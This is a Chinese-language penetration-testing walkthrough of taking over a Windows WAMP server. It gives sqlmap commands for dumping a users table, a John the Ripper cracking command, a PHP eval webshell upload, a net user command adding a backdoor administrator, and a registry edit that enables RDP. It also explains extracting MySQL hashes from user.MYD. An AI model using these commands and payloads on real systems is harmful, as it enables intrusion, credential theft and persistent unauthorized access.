SQL注入配合JOHN成功拿下服务器
字数 1450 2025-08-09 19:14:07

SQL注入配合JOHN爆破密码渗透实战教学

1. 基本信息收集

1.1 初始信息

  • 目标系统:Windows 10 X64
  • 站点创建时间:2017年
  • Web服务器:WAMP环境(Windows + Apache + MySQL + PHP)
  • 站点根目录:E:/wamp64/www/

1.2 目录爆破

使用工具对网站进行目录爆破:

  1. 发现/carts/目录
  2. /carts/目录再次爆破
  3. 发现/librarys/目录

1.3 信息泄露

  • /librarys/目录下发现tree.txt文件,泄露了网站目录结构
  • 存在目录遍历漏洞,可查看服务器文件
  • 发现server.php是入口文件,但静态文件缺失

2. SQL注入漏洞利用

2.1 发现注入点

  • /carts/目录下的页面中,发现CATID参数存在SQL注入
  • 使用布尔注入测试确认漏洞存在

2.2 注入点信息

  • 当前数据库用户:root(最高权限)
  • 尝试写入文件失败(可能权限限制)

2.3 使用sqlmap自动化工具

sqlmap -u "http://target.com/carts/page.php?CATID=1" --dbs
sqlmap -u "http://target.com/carts/page.php?CATID=1" -D database_name --tables
sqlmap -u "http://target.com/carts/page.php?CATID=1" -D database_name -T users --dump

3. 口令爆破

3.1 获取用户数据

  • 通过SQL注入获取用户表数据
  • 密码字段是加盐哈希存储

3.2 注册测试用户

  1. 注册一个新用户
  2. 在数据库中查找该用户的记录
  3. 分析密码存储方式

3.3 使用John the Ripper爆破

  1. 准备哈希文件
  2. 使用字典爆破:
    john --format=mysql-sha1 hashfile.txt --wordlist=password.lst
    
  3. 成功爆破出admin账户密码:admin@admin.com/admin

4. 后台渗透

4.1 登录后台

  • 发现登录表单有特殊验证:用户名必须是邮件地址
  • 使用爆破出的凭证成功登录

4.2 Cookie问题

  • 登录后Cookie有效期异常(设置为过去时间)
  • 需要快速操作,否则会话会失效

5. 文件上传获取Webshell

5.1 寻找上传点

  • 在用户个人信息编辑页面发现文件上传功能
  • 测试上传图片成功

5.2 上传Webshell

  1. 准备PHP一句话木马:
    <?php @eval($_POST['cmd']);?>
    
  2. 修改文件扩展名为.php上传
  3. 上传成功,可直接访问

5.3 权限确认

  • 执行whoami命令确认是system权限
  • 无需额外提权操作

6. 使用蚁剑管理

6.1 连接Webshell

  • 使用中国蚁剑连接上传的PHP木马
  • 转移Webshell位置避免被发现

7. 内网信息收集

7.1 网络信息

  • ipconfig显示为外部网卡
  • netstat -ano查看开放端口
  • 3389远程桌面服务未开启

7.2 安全软件检查

  • tasklist发现运行小红伞杀毒软件
  • 测试添加用户和修改注册表未被拦截

8. 开启远程桌面

8.1 添加用户

net user hacker Password123! /add
net localgroup administrators hacker /add

8.2 开启RDP

REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

8.3 连接远程桌面

  • 使用添加的凭证成功连接
  • arp -a显示只有单台主机,不在域中

9. 扩展知识

9.1 MySQL密码哈希获取

  • 当配置文件中找不到root密码时
  • WAMP环境下路径:/bin/mysql/mysql-x.x.x/data/mysql
  • user.MYD文件包含密码哈希
  • 使用WinHex打开查找40位MySQL密文

9.2 密码哈希格式

  • MySQL密文为40位
  • 不足40位时需要拼接密文

10. 经验总结

  1. 弱密码测试重要性:很多情况下直接测试弱密码可以节省大量时间
  2. 信息收集关键性:目录爆破、信息泄露漏洞往往能提供重要线索
  3. 工具组合使用:sqlmap + John the Ripper是强大的组合
  4. 快速操作能力:遇到会话异常时需要快速完成关键操作
  5. 权限最大化:获取system权限后很多操作会变得简单
SQL注入配合JOHN爆破密码渗透实战教学 1. 基本信息收集 1.1 初始信息 目标系统:Windows 10 X64 站点创建时间:2017年 Web服务器:WAMP环境(Windows + Apache + MySQL + PHP) 站点根目录:E:/wamp64/www/ 1.2 目录爆破 使用工具对网站进行目录爆破: 发现 /carts/ 目录 对 /carts/ 目录再次爆破 发现 /librarys/ 目录 1.3 信息泄露 在 /librarys/ 目录下发现 tree.txt 文件,泄露了网站目录结构 存在目录遍历漏洞,可查看服务器文件 发现 server.php 是入口文件,但静态文件缺失 2. SQL注入漏洞利用 2.1 发现注入点 在 /carts/ 目录下的页面中,发现 CATID 参数存在SQL注入 使用布尔注入测试确认漏洞存在 2.2 注入点信息 当前数据库用户:root(最高权限) 尝试写入文件失败(可能权限限制) 2.3 使用sqlmap自动化工具 3. 口令爆破 3.1 获取用户数据 通过SQL注入获取用户表数据 密码字段是加盐哈希存储 3.2 注册测试用户 注册一个新用户 在数据库中查找该用户的记录 分析密码存储方式 3.3 使用John the Ripper爆破 准备哈希文件 使用字典爆破: 成功爆破出admin账户密码: admin@admin.com/admin 4. 后台渗透 4.1 登录后台 发现登录表单有特殊验证:用户名必须是邮件地址 使用爆破出的凭证成功登录 4.2 Cookie问题 登录后Cookie有效期异常(设置为过去时间) 需要快速操作,否则会话会失效 5. 文件上传获取Webshell 5.1 寻找上传点 在用户个人信息编辑页面发现文件上传功能 测试上传图片成功 5.2 上传Webshell 准备PHP一句话木马: 修改文件扩展名为.php上传 上传成功,可直接访问 5.3 权限确认 执行 whoami 命令确认是 system 权限 无需额外提权操作 6. 使用蚁剑管理 6.1 连接Webshell 使用中国蚁剑连接上传的PHP木马 转移Webshell位置避免被发现 7. 内网信息收集 7.1 网络信息 ipconfig 显示为外部网卡 netstat -ano 查看开放端口 3389远程桌面服务未开启 7.2 安全软件检查 tasklist 发现运行小红伞杀毒软件 测试添加用户和修改注册表未被拦截 8. 开启远程桌面 8.1 添加用户 8.2 开启RDP 8.3 连接远程桌面 使用添加的凭证成功连接 arp -a 显示只有单台主机,不在域中 9. 扩展知识 9.1 MySQL密码哈希获取 当配置文件中找不到root密码时 WAMP环境下路径: /bin/mysql/mysql-x.x.x/data/mysql user.MYD 文件包含密码哈希 使用WinHex打开查找40位MySQL密文 9.2 密码哈希格式 MySQL密文为40位 不足40位时需要拼接密文 10. 经验总结 弱密码测试重要性 :很多情况下直接测试弱密码可以节省大量时间 信息收集关键性 :目录爆破、信息泄露漏洞往往能提供重要线索 工具组合使用 :sqlmap + John the Ripper是强大的组合 快速操作能力 :遇到会话异常时需要快速完成关键操作 权限最大化 :获取system权限后很多操作会变得简单